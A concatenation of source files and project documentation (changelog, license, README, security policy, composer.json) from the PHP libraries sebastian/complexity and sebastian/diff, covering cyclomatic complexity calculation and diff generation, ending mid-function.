*/ $traverser->traverse($nodes); // @codeCoverageIgnoreStart } catch (Error $error) { throw new RuntimeException( $error->getMessage(), $error->getCode(), $error, ); } // @codeCoverageIgnoreEnd return $complexityCalculatingVisitor->result(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Complexity; use function str_contains; /** * @psalm-immutable */ final class Complexity { /** * @psalm-var non-empty-string */ private readonly string $name; /** * @psalm-var positive-int */ private int $cyclomaticComplexity; /** * @psalm-param non-empty-string $name * @psalm-param positive-int $cyclomaticComplexity */ public function __construct(string $name, int $cyclomaticComplexity) { $this->name = $name; $this->cyclomaticComplexity = $cyclomaticComplexity; } /** * @psalm-return non-empty-string */ public function name(): string { return $this->name; } /** * @psalm-return positive-int */ public function cyclomaticComplexity(): int { return $this->cyclomaticComplexity; } public function isFunction(): bool { return !$this->isMethod(); } public function isMethod(): bool { return str_contains($this->name, '::'); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Complexity; use function array_filter; use function array_merge; use function array_reverse; use function array_values; use function count; use function usort; use Countable; use IteratorAggregate; /** * @psalm-immutable */ final class ComplexityCollection implements Countable, IteratorAggregate { /** * @psalm-var list */ private readonly array $items; public static function fromList(Complexity ...$items): self { return new self($items); } /** * @psalm-param list $items */ private function __construct(array $items) { $this->items = $items; } /** * @psalm-return list */ public function asArray(): array { return $this->items; } public function getIterator(): ComplexityCollectionIterator { return new ComplexityCollectionIterator($this); } /** * @psalm-return non-negative-int */ public function count(): int { return count($this->items); } public function isEmpty(): bool { return empty($this->items); } /** * @psalm-return non-negative-int */ public function cyclomaticComplexity(): int { $cyclomaticComplexity = 0; foreach ($this as $item) { $cyclomaticComplexity += $item->cyclomaticComplexity(); } return $cyclomaticComplexity; } public function isFunction(): self { return new self( array_values( array_filter( $this->items, static fn (Complexity $complexity): bool => $complexity->isFunction(), ), ), ); } public function isMethod(): self { return new self( array_values( array_filter( $this->items, static fn (Complexity $complexity): bool => $complexity->isMethod(), ), ), ); } public function mergeWith(self $other): self { return new self( array_merge( $this->asArray(), $other->asArray(), ), ); } public function sortByDescendingCyclomaticComplexity(): self { $items = $this->items; usort( $items, static function (Complexity $a, Complexity $b): int { return $a->cyclomaticComplexity() <=> $b->cyclomaticComplexity(); }, ); return new self(array_reverse($items)); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Complexity; use Iterator; final class ComplexityCollectionIterator implements Iterator { /** * @psalm-var list */ private readonly array $items; private int $position = 0; public function __construct(ComplexityCollection $items) { $this->items = $items->asArray(); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return isset($this->items[$this->position]); } public function key(): int { return $this->position; } public function current(): Complexity { return $this->items[$this->position]; } public function next(): void { $this->position++; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Complexity; use Throwable; interface Exception extends Throwable { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Complexity; final class RuntimeException extends \RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Complexity; use function assert; use function is_array; use PhpParser\Node; use PhpParser\Node\Expr\New_; use PhpParser\Node\Name; use PhpParser\Node\Stmt; use PhpParser\Node\Stmt\Class_; use PhpParser\Node\Stmt\ClassMethod; use PhpParser\Node\Stmt\Function_; use PhpParser\Node\Stmt\Interface_; use PhpParser\Node\Stmt\Trait_; use PhpParser\NodeTraverser; use PhpParser\NodeVisitorAbstract; final class ComplexityCalculatingVisitor extends NodeVisitorAbstract { /** * @psalm-var list */ private array $result = []; private bool $shortCircuitTraversal; public function __construct(bool $shortCircuitTraversal) { $this->shortCircuitTraversal = $shortCircuitTraversal; } public function enterNode(Node $node): ?int { if (!$node instanceof ClassMethod && !$node instanceof Function_) { return null; } if ($node instanceof ClassMethod) { if ($node->getAttribute('parent') instanceof Interface_) { return null; } if ($node->isAbstract()) { return null; } $name = $this->classMethodName($node); } else { $name = $this->functionName($node); } $statements = $node->getStmts(); assert(is_array($statements)); $this->result[] = new Complexity( $name, $this->cyclomaticComplexity($statements), ); if ($this->shortCircuitTraversal) { return NodeTraverser::DONT_TRAVERSE_CHILDREN; } return null; } public function result(): ComplexityCollection { return ComplexityCollection::fromList(...$this->result); } /** * @param Stmt[] $statements * * @psalm-return positive-int */ private function cyclomaticComplexity(array $statements): int { $traverser = new NodeTraverser; $cyclomaticComplexityCalculatingVisitor = new CyclomaticComplexityCalculatingVisitor; $traverser->addVisitor($cyclomaticComplexityCalculatingVisitor); /* @noinspection UnusedFunctionResultInspection */ $traverser->traverse($statements); return $cyclomaticComplexityCalculatingVisitor->cyclomaticComplexity(); } /** * @psalm-return non-empty-string */ private function classMethodName(ClassMethod $node): string { $parent = $node->getAttribute('parent'); assert($parent instanceof Class_ || $parent instanceof Trait_); if ($parent->getAttribute('parent') instanceof New_) { return 'anonymous class'; } assert(isset($parent->namespacedName)); assert($parent->namespacedName instanceof Name); return $parent->namespacedName->toString() . '::' . $node->name->toString(); } /** * @psalm-return non-empty-string */ private function functionName(Function_ $node): string { assert(isset($node->namespacedName)); assert($node->namespacedName instanceof Name); $functionName = $node->namespacedName->toString(); assert($functionName !== ''); return $functionName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Complexity; use PhpParser\Node; use PhpParser\Node\Expr\BinaryOp\BooleanAnd; use PhpParser\Node\Expr\BinaryOp\BooleanOr; use PhpParser\Node\Expr\BinaryOp\LogicalAnd; use PhpParser\Node\Expr\BinaryOp\LogicalOr; use PhpParser\Node\Expr\Ternary; use PhpParser\Node\Stmt\Case_; use PhpParser\Node\Stmt\Catch_; use PhpParser\Node\Stmt\ElseIf_; use PhpParser\Node\Stmt\For_; use PhpParser\Node\Stmt\Foreach_; use PhpParser\Node\Stmt\If_; use PhpParser\Node\Stmt\While_; use PhpParser\NodeVisitorAbstract; final class CyclomaticComplexityCalculatingVisitor extends NodeVisitorAbstract { /** * @psalm-var positive-int */ private int $cyclomaticComplexity = 1; public function enterNode(Node $node): void { switch ($node::class) { case BooleanAnd::class: case BooleanOr::class: case Case_::class: case Catch_::class: case ElseIf_::class: case For_::class: case Foreach_::class: case If_::class: case LogicalAnd::class: case LogicalOr::class: case Ternary::class: case While_::class: $this->cyclomaticComplexity++; } } /** * @psalm-return positive-int */ public function cyclomaticComplexity(): int { return $this->cyclomaticComplexity; } } # ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [5.1.1] - 2024-03-02 ### Changed * Do not use implicitly nullable parameters ## [5.1.0] - 2023-12-22 ### Added * `SebastianBergmann\Diff\Chunk::start()`, `SebastianBergmann\Diff\Chunk::startRange()`, `SebastianBergmann\Diff\Chunk::end()`, `SebastianBergmann\Diff\Chunk::endRange()`, and `SebastianBergmann\Diff\Chunk::lines()` * `SebastianBergmann\Diff\Diff::from()`, `SebastianBergmann\Diff\Diff::to()`, and `SebastianBergmann\Diff\Diff::chunks()` * `SebastianBergmann\Diff\Line::content()` and `SebastianBergmann\Diff\Diff::type()` * `SebastianBergmann\Diff\Line::isAdded()`,`SebastianBergmann\Diff\Line::isRemoved()`, and `SebastianBergmann\Diff\Line::isUnchanged()` ### Changed * `SebastianBergmann\Diff\Diff` now implements `IteratorAggregate`, iterating over it yields the aggregated `SebastianBergmann\Diff\Chunk` objects * `SebastianBergmann\Diff\Chunk` now implements `IteratorAggregate`, iterating over it yields the aggregated `SebastianBergmann\Diff\Line` objects ### Deprecated * `SebastianBergmann\Diff\Chunk::getStart()`, `SebastianBergmann\Diff\Chunk::getStartRange()`, `SebastianBergmann\Diff\Chunk::getEnd()`, `SebastianBergmann\Diff\Chunk::getEndRange()`, and `SebastianBergmann\Diff\Chunk::getLines()` * `SebastianBergmann\Diff\Diff::getFrom()`, `SebastianBergmann\Diff\Diff::getTo()`, and `SebastianBergmann\Diff\Diff::getChunks()` * `SebastianBergmann\Diff\Line::getContent()` and `SebastianBergmann\Diff\Diff::getType()` ## [5.0.3] - 2023-05-01 ### Changed * [#119](https://github.com/sebastianbergmann/diff/pull/119): Improve performance of `TimeEfficientLongestCommonSubsequenceCalculator` ## [5.0.2] - 2023-05-01 ### Changed * [#118](https://github.com/sebastianbergmann/diff/pull/118): Improve performance of `MemoryEfficientLongestCommonSubsequenceCalculator` ## [5.0.1] - 2023-03-23 ### Fixed * [#115](https://github.com/sebastianbergmann/diff/pull/115): `Parser::parseFileDiff()` does not handle diffs correctly that only add lines or only remove lines ## [5.0.0] - 2023-02-03 ### Changed * Passing a `DiffOutputBuilderInterface` instance to `Differ::__construct()` is no longer optional ### Removed * Removed support for PHP 7.3, PHP 7.4, and PHP 8.0 ## [4.0.4] - 2020-10-26 ### Fixed * `SebastianBergmann\Diff\Exception` now correctly extends `\Throwable` ## [4.0.3] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [4.0.2] - 2020-06-30 ### Added * This component is now supported on PHP 8 ## [4.0.1] - 2020-05-08 ### Fixed * [#99](https://github.com/sebastianbergmann/diff/pull/99): Regression in unified diff output of identical strings ## [4.0.0] - 2020-02-07 ### Removed * Removed support for PHP 7.1 and PHP 7.2 ## [3.0.2] - 2019-02-04 ### Changed * `Chunk::setLines()` now ensures that the `$lines` array only contains `Line` objects ## [3.0.1] - 2018-06-10 ### Fixed * Removed `"minimum-stability": "dev",` from `composer.json` ## [3.0.0] - 2018-02-01 * The `StrictUnifiedDiffOutputBuilder` implementation of the `DiffOutputBuilderInterface` was added ### Changed * The default `DiffOutputBuilderInterface` implementation now generates context lines (unchanged lines) ### Removed * Removed support for PHP 7.0 ### Fixed * [#70](https://github.com/sebastianbergmann/diff/issues/70): Diffing of arrays no longer works ## [2.0.1] - 2017-08-03 ### Fixed * [#66](https://github.com/sebastianbergmann/diff/pull/66): Restored backwards compatibility for PHPUnit 6.1.4, 6.2.0, 6.2.1, 6.2.2, and 6.2.3 ## [2.0.0] - 2017-07-11 [YANKED] ### Added * [#64](https://github.com/sebastianbergmann/diff/pull/64): Show line numbers for chunks of a diff ### Removed * This component is no longer supported on PHP 5.6 [5.1.1]: https://github.com/sebastianbergmann/diff/compare/5.1.0...5.1.1 [5.1.0]: https://github.com/sebastianbergmann/diff/compare/5.0.3...5.1.0 [5.0.3]: https://github.com/sebastianbergmann/diff/compare/5.0.2...5.0.3 [5.0.2]: https://github.com/sebastianbergmann/diff/compare/5.0.1...5.0.2 [5.0.1]: https://github.com/sebastianbergmann/diff/compare/5.0.0...5.0.1 [5.0.0]: https://github.com/sebastianbergmann/diff/compare/4.0.4...5.0.0 [4.0.4]: https://github.com/sebastianbergmann/diff/compare/4.0.3...4.0.4 [4.0.3]: https://github.com/sebastianbergmann/diff/compare/4.0.2...4.0.3 [4.0.2]: https://github.com/sebastianbergmann/diff/compare/4.0.1...4.0.2 [4.0.1]: https://github.com/sebastianbergmann/diff/compare/4.0.0...4.0.1 [4.0.0]: https://github.com/sebastianbergmann/diff/compare/3.0.2...4.0.0 [3.0.2]: https://github.com/sebastianbergmann/diff/compare/3.0.1...3.0.2 [3.0.1]: https://github.com/sebastianbergmann/diff/compare/3.0.0...3.0.1 [3.0.0]: https://github.com/sebastianbergmann/diff/compare/2.0...3.0.0 [2.0.1]: https://github.com/sebastianbergmann/diff/compare/c341c98ce083db77f896a0aa64f5ee7652915970...2.0.1 [2.0.0]: https://github.com/sebastianbergmann/diff/compare/1.4...c341c98ce083db77f896a0aa64f5ee7652915970 BSD 3-Clause License Copyright (c) 2002-2024, Sebastian Bergmann All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. [![Latest Stable Version](https://poser.pugx.org/sebastian/diff/v/stable.png)](https://packagist.org/packages/sebastian/diff) [![CI Status](https://github.com/sebastianbergmann/diff/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/diff/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/diff/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/diff) [![codecov](https://codecov.io/gh/sebastianbergmann/diff/branch/main/graph/badge.svg)](https://codecov.io/gh/sebastianbergmann/diff) # sebastian/diff Diff implementation for PHP, factored out of PHPUnit into a stand-alone component. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/diff ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/diff ``` ### Usage #### Generating diff The `Differ` class can be used to generate a textual representation of the difference between two strings: ```php diff('foo', 'bar'); ``` The code above yields the output below: ```diff --- Original +++ New @@ @@ -foo +bar ``` There are three output builders available in this package: #### UnifiedDiffOutputBuilder This is default builder, which generates the output close to udiff and is used by PHPUnit. ```php diff('foo', 'bar'); ``` #### StrictUnifiedDiffOutputBuilder Generates (strict) Unified diff's (unidiffs) with hunks, similar to `diff -u` and compatible with `patch` and `git apply`. ```php true, // ranges of length one are rendered with the trailing `,1` 'commonLineThreshold' => 6, // number of same lines before ending a new hunk and creating a new one (if needed) 'contextLines' => 3, // like `diff: -u, -U NUM, --unified[=NUM]`, for patch/git apply compatibility best to keep at least @ 3 'fromFile' => '', 'fromFileDate' => null, 'toFile' => '', 'toFileDate' => null, ]); $differ = new Differ($builder); print $differ->diff('foo', 'bar'); ``` #### DiffOnlyOutputBuilder Output only the lines that differ. ```php diff('foo', 'bar'); ``` #### DiffOutputBuilderInterface You can pass any output builder to the `Differ` class as longs as it implements the `DiffOutputBuilderInterface`. #### Parsing diff The `Parser` class can be used to parse a unified diff into an object graph: ```php use SebastianBergmann\Diff\Parser; use SebastianBergmann\Git; $git = new Git('/usr/local/src/money'); $diff = $git->getDiff( '948a1a07768d8edd10dcefa8315c1cbeffb31833', 'c07a373d2399f3e686234c4f7f088d635eb9641b' ); $parser = new Parser; print_r($parser->parse($diff)); ``` The code above yields the output below: Array ( [0] => SebastianBergmann\Diff\Diff Object ( [from:SebastianBergmann\Diff\Diff:private] => a/tests/MoneyTest.php [to:SebastianBergmann\Diff\Diff:private] => b/tests/MoneyTest.php [chunks:SebastianBergmann\Diff\Diff:private] => Array ( [0] => SebastianBergmann\Diff\Chunk Object ( [start:SebastianBergmann\Diff\Chunk:private] => 87 [startRange:SebastianBergmann\Diff\Chunk:private] => 7 [end:SebastianBergmann\Diff\Chunk:private] => 87 [endRange:SebastianBergmann\Diff\Chunk:private] => 7 [lines:SebastianBergmann\Diff\Chunk:private] => Array ( [0] => SebastianBergmann\Diff\Line Object ( [type:SebastianBergmann\Diff\Line:private] => 3 [content:SebastianBergmann\Diff\Line:private] => * @covers SebastianBergmann\Money\Money::add ) [1] => SebastianBergmann\Diff\Line Object ( [type:SebastianBergmann\Diff\Line:private] => 3 [content:SebastianBergmann\Diff\Line:private] => * @covers SebastianBergmann\Money\Money::newMoney ) [2] => SebastianBergmann\Diff\Line Object ( [type:SebastianBergmann\Diff\Line:private] => 3 [content:SebastianBergmann\Diff\Line:private] => */ ) [3] => SebastianBergmann\Diff\Line Object ( [type:SebastianBergmann\Diff\Line:private] => 2 [content:SebastianBergmann\Diff\Line:private] => public function testAnotherMoneyWithSameCurrencyObjectCanBeAdded() ) [4] => SebastianBergmann\Diff\Line Object ( [type:SebastianBergmann\Diff\Line:private] => 1 [content:SebastianBergmann\Diff\Line:private] => public function testAnotherMoneyObjectWithSameCurrencyCanBeAdded() ) [5] => SebastianBergmann\Diff\Line Object ( [type:SebastianBergmann\Diff\Line:private] => 3 [content:SebastianBergmann\Diff\Line:private] => { ) [6] => SebastianBergmann\Diff\Line Object ( [type:SebastianBergmann\Diff\Line:private] => 3 [content:SebastianBergmann\Diff\Line:private] => $a = new Money(1, new Currency('EUR')); ) [7] => SebastianBergmann\Diff\Line Object ( [type:SebastianBergmann\Diff\Line:private] => 3 [content:SebastianBergmann\Diff\Line:private] => $b = new Money(2, new Currency('EUR')); ) ) ) ) ) ) Note: If the chunk size is 0 lines, i.e., `getStartRange()` or `getEndRange()` return 0, the number of line returned by `getStart()` or `getEnd()` is one lower than one would expect. It is the line number after which the chunk should be inserted or deleted; in all other cases, it gives the first line number of the replaced range of lines. # Security Policy If you believe you have found a security vulnerability in the library that is developed in this repository, please report it to us through coordinated disclosure. **Please do not report security vulnerabilities through public GitHub issues, discussions, or pull requests.** Instead, please email `sebastian@phpunit.de`. Please include as much of the information listed below as you can to help us better understand and resolve the issue: * The type of issue * Full paths of source file(s) related to the manifestation of the issue * The location of the affected source code (tag/branch/commit or direct URL) * Any special configuration required to reproduce the issue * Step-by-step instructions to reproduce the issue * Proof-of-concept or exploit code (if possible) * Impact of the issue, including how an attacker might exploit the issue This information will help us triage your report more quickly. ## Web Context The library that is developed in this repository was either extracted from [PHPUnit](https://github.com/sebastianbergmann/phpunit) or developed specifically as a dependency for PHPUnit. The library is developed with a focus on development environments and the command-line. No specific testing or hardening with regard to using the library in an HTTP or web context or with untrusted input data is performed. The library might also contain functionality that intentionally exposes internal application data for debugging purposes. If the library is used in a web application, the application developer is responsible for filtering inputs or escaping outputs as necessary and for verifying that the used functionality is safe for use within the intended context. Vulnerabilities specific to the use outside a development context will be fixed as applicable, provided that the fix does not have an averse effect on the primary use case for development purposes. { "name": "sebastian/diff", "description": "Diff implementation", "keywords": ["diff", "udiff", "unidiff", "unified diff"], "homepage": "https://github.com/sebastianbergmann/diff", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" }, { "name": "Kore Nordmann", "email": "mail@kore-nordmann.de" } ], "support": { "issues": "https://github.com/sebastianbergmann/diff/issues", "security": "https://github.com/sebastianbergmann/diff/security/policy" }, "prefer-stable": true, "config": { "platform": { "php": "8.1.0" }, "optimize-autoloader": true, "sort-packages": true }, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0", "symfony/process": "^6.4" }, "autoload": { "classmap": [ "src/" ] }, "autoload-dev": { "classmap": [ "tests/" ] }, "extra": { "branch-alias": { "dev-main": "5.1-dev" } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; use ArrayIterator; use IteratorAggregate; use Traversable; /** * @template-implements IteratorAggregate */ final class Chunk implements IteratorAggregate { private int $start; private int $startRange; private int $end; private int $endRange; private array $lines; public function __construct(int $start = 0, int $startRange = 1, int $end = 0, int $endRange = 1, array $lines = []) { $this->start = $start; $this->startRange = $startRange; $this->end = $end; $this->endRange = $endRange; $this->lines = $lines; } public function start(): int { return $this->start; } public function startRange(): int { return $this->startRange; } public function end(): int { return $this->end; } public function endRange(): int { return $this->endRange; } /** * @psalm-return list */ public function lines(): array { return $this->lines; } /** * @psalm-param list $lines */ public function setLines(array $lines): void { foreach ($lines as $line) { if (!$line instanceof Line) { throw new InvalidArgumentException; } } $this->lines = $lines; } /** * @deprecated Use start() instead */ public function getStart(): int { return $this->start; } /** * @deprecated Use startRange() instead */ public function getStartRange(): int { return $this->startRange; } /** * @deprecated Use end() instead */ public function getEnd(): int { return $this->end; } /** * @deprecated Use endRange() instead */ public function getEndRange(): int { return $this->endRange; } /** * @psalm-return list * * @deprecated Use lines() instead */ public function getLines(): array { return $this->lines; } public function getIterator(): Traversable { return new ArrayIterator($this->lines); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; use ArrayIterator; use IteratorAggregate; use Traversable; /** * @template-implements IteratorAggregate */ final class Diff implements IteratorAggregate { /** * @psalm-var non-empty-string */ private string $from; /** * @psalm-var non-empty-string */ private string $to; /** * @psalm-var list */ private array $chunks; /** * @psalm-param non-empty-string $from * @psalm-param non-empty-string $to * @psalm-param list $chunks */ public function __construct(string $from, string $to, array $chunks = []) { $this->from = $from; $this->to = $to; $this->chunks = $chunks; } /** * @psalm-return non-empty-string */ public function from(): string { return $this->from; } /** * @psalm-return non-empty-string */ public function to(): string { return $this->to; } /** * @psalm-return list */ public function chunks(): array { return $this->chunks; } /** * @psalm-param list $chunks */ public function setChunks(array $chunks): void { $this->chunks = $chunks; } /** * @psalm-return non-empty-string * * @deprecated */ public function getFrom(): string { return $this->from; } /** * @psalm-return non-empty-string * * @deprecated */ public function getTo(): string { return $this->to; } /** * @psalm-return list * * @deprecated */ public function getChunks(): array { return $this->chunks; } public function getIterator(): Traversable { return new ArrayIterator($this->chunks); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; use const PHP_INT_SIZE; use const PREG_SPLIT_DELIM_CAPTURE; use const PREG_SPLIT_NO_EMPTY; use function array_shift; use function array_unshift; use function array_values; use function count; use function current; use function end; use function is_string; use function key; use function min; use function preg_split; use function prev; use function reset; use function str_ends_with; use function substr; use SebastianBergmann\Diff\Output\DiffOutputBuilderInterface; final class Differ { public const OLD = 0; public const ADDED = 1; public const REMOVED = 2; public const DIFF_LINE_END_WARNING = 3; public const NO_LINE_END_EOF_WARNING = 4; private DiffOutputBuilderInterface $outputBuilder; public function __construct(DiffOutputBuilderInterface $outputBuilder) { $this->outputBuilder = $outputBuilder; } public function diff(array|string $from, array|string $to, ?LongestCommonSubsequenceCalculator $lcs = null): string { $diff = $this->diffToArray($from, $to, $lcs); return $this->outputBuilder->getDiff($diff); } public function diffToArray(array|string $from, array|string $to, ?LongestCommonSubsequenceCalculator $lcs = null): array { if (is_string($from)) { $from = $this->splitStringByLines($from); } if (is_string($to)) { $to = $this->splitStringByLines($to); } [$from, $to, $start, $end] = self::getArrayDiffParted($from, $to); if ($lcs === null) { $lcs = $this->selectLcsImplementation($from, $to); } $common = $lcs->calculate(array_values($from), array_values($to)); $diff = []; foreach ($start as $token) { $diff[] = [$token, self::OLD]; } reset($from); reset($to); foreach ($common as $token) { while (($fromToken = reset($from)) !== $token) { $diff[] = [array_shift($from), self::REMOVED]; } while (($toToken = reset($to)) !== $token) { $diff[] = [array_shift($to), self::ADDED]; } $diff[] = [$token, self::OLD]; array_shift($from); array_shift($to); } while (($token = array_shift($from)) !== null) { $diff[] = [$token, self::REMOVED]; } while (($token = array_shift($to)) !== null) { $diff[] = [$token, self::ADDED]; } foreach ($end as $token) { $diff[] = [$token, self::OLD]; } if ($this->detectUnmatchedLineEndings($diff)) { array_unshift($diff, ["#Warning: Strings contain different line endings!\n", self::DIFF_LINE_END_WARNING]); } return $diff; } private function splitStringByLines(string $input): array { return preg_split('/(.*\R)/', $input, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY); } private function selectLcsImplementation(array $from, array $to): LongestCommonSubsequenceCalculator { // We do not want to use the time-efficient implementation if its memory // footprint will probably exceed this value. Note that the footprint // calculation is only an estimation for the matrix and the LCS method // will typically allocate a bit more memory than this. $memoryLimit = 100 * 1024 * 1024; if ($this->calculateEstimatedFootprint($from, $to) > $memoryLimit) { return new MemoryEfficientLongestCommonSubsequenceCalculator; } return new TimeEfficientLongestCommonSubsequenceCalculator; } private function calculateEstimatedFootprint(array $from, array $to): float|int { $itemSize = PHP_INT_SIZE === 4 ? 76 : 144; return $itemSize * min(count($from), count($to)) ** 2; } private function detectUnmatchedLineEndings(array $diff): bool { $newLineBreaks = ['' => true]; $oldLineBreaks = ['' => true]; foreach ($diff as $entry) { if (self::OLD === $entry[1]) { $ln = $this->getLinebreak($entry[0]); $oldLineBreaks[$ln] = true; $newLineBreaks[$ln] = true; } elseif (self::ADDED === $entry[1]) { $newLineBreaks[$this->getLinebreak($entry[0])] = true; } elseif (self::REMOVED === $entry[1]) { $oldLineBreaks[$this->getLinebreak($entry[0])] = true; } } // if either input or output is a single line without breaks than no warning should be raised if (['' => true] === $newLineBreaks || ['' => true] === $oldLineBreaks) { return false; } // two-way compare foreach ($newLineBreaks as $break => $set) { if (!isset($oldLineBreaks[$break])) { return true; } } foreach ($oldLineBreaks as $break => $set) { if (!isset($newLineBreaks[$break])) { return true; } } return false; } private function getLinebreak($line): string { if (!is_string($line)) { return ''; } $lc = substr($line, -1); if ("\r" === $lc) { return "\r"; } if ("\n" !== $lc) { return ''; } if (str_ends_with($line, "\r\n")) { return "\r\n"; } return "\n"; } private static function getArrayDiffParted(array &$from, array &$to): array { $start = []; $end = []; reset($to); foreach ($from as $k => $v) { $toK = key($to); if ($toK === $k && $v === $to[$k]) { $start[$k] = $v; unset($from[$k], $to[$k]); } else { break; } } end($from); end($to); do { $fromK = key($from); $toK = key($to); if (null === $fromK || null === $toK || current($from) !== current($to)) { break; } prev($from); prev($to); $end = [$fromK => $from[$fromK]] + $end; unset($from[$fromK], $to[$toK]); } while (true); return [$from, $to, $start, $end]; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; use function gettype; use function is_object; use function sprintf; use Exception; final class ConfigurationException extends InvalidArgumentException { public function __construct( string $option, string $expected, $value, int $code = 0, ?Exception $previous = null ) { parent::__construct( sprintf( 'Option "%s" must be %s, got "%s".', $option, $expected, is_object($value) ? $value::class : (null === $value ? '' : gettype($value) . '#' . $value), ), $code, $previous, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; use Throwable; interface Exception extends Throwable { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; class InvalidArgumentException extends \InvalidArgumentException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; final class Line { public const ADDED = 1; public const REMOVED = 2; public const UNCHANGED = 3; private int $type; private string $content; public function __construct(int $type = self::UNCHANGED, string $content = '') { $this->type = $type; $this->content = $content; } public function content(): string { return $this->content; } public function type(): int { return $this->type; } public function isAdded(): bool { return $this->type === self::ADDED; } public function isRemoved(): bool { return $this->type === self::REMOVED; } public function isUnchanged(): bool { return $this->type === self::UNCHANGED; } /** * @deprecated */ public function getContent(): string { return $this->content; } /** * @deprecated */ public function getType(): int { return $this->type; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; interface LongestCommonSubsequenceCalculator { /** * Calculates the longest common subsequence of two arrays. */ public function calculate(array $from, array $to): array; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; use function array_fill; use function array_merge; use function array_reverse; use function array_slice; use function count; use function in_array; use function max; final class MemoryEfficientLongestCommonSubsequenceCalculator implements LongestCommonSubsequenceCalculator { /** * @inheritDoc */ public function calculate(array $from, array $to): array { $cFrom = count($from); $cTo = count($to); if ($cFrom === 0) { return []; } if ($cFrom === 1) { if (in_array($from[0], $to, true)) { return [$from[0]]; } return []; } $i = (int) ($cFrom / 2); $fromStart = array_slice($from, 0, $i); $fromEnd = array_slice($from, $i); $llB = $this->length($fromStart, $to); $llE = $this->length(array_reverse($fromEnd), array_reverse($to)); $jMax = 0; $max = 0; for ($j = 0; $j <= $cTo; $j++) { $m = $llB[$j] + $llE[$cTo - $j]; if ($m >= $max) { $max = $m; $jMax = $j; } } $toStart = array_slice($to, 0, $jMax); $toEnd = array_slice($to, $jMax); return array_merge( $this->calculate($fromStart, $toStart), $this->calculate($fromEnd, $toEnd), ); } private function length(array $from, array $to): array { $current = array_fill(0, count($to) + 1, 0); $cFrom = count($from); $cTo = count($to); for ($i = 0; $i < $cFrom; $i++) { $prev = $current; for ($j = 0; $j < $cTo; $j++) { if ($from[$i] === $to[$j]) { $current[$j + 1] = $prev[$j] + 1; } else { /** * @noinspection PhpConditionCanBeReplacedWithMinMaxCallInspection * * We do not use max() here to avoid the function call overhead */ if ($current[$j] > $prev[$j + 1]) { $current[$j + 1] = $current[$j]; } else { $current[$j + 1] = $prev[$j + 1]; } } } } return $current; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff\Output; use function count; abstract class AbstractChunkOutputBuilder implements DiffOutputBuilderInterface { /** * Takes input of the diff array and returns the common parts. * Iterates through diff line by line. */ protected function getCommonChunks(array $diff, int $lineThreshold = 5): array { $diffSize = count($diff); $capturing = false; $chunkStart = 0; $chunkSize = 0; $commonChunks = []; for ($i = 0; $i < $diffSize; $i++) { if ($diff[$i][1] === 0 /* OLD */) { if ($capturing === false) { $capturing = true; $chunkStart = $i; 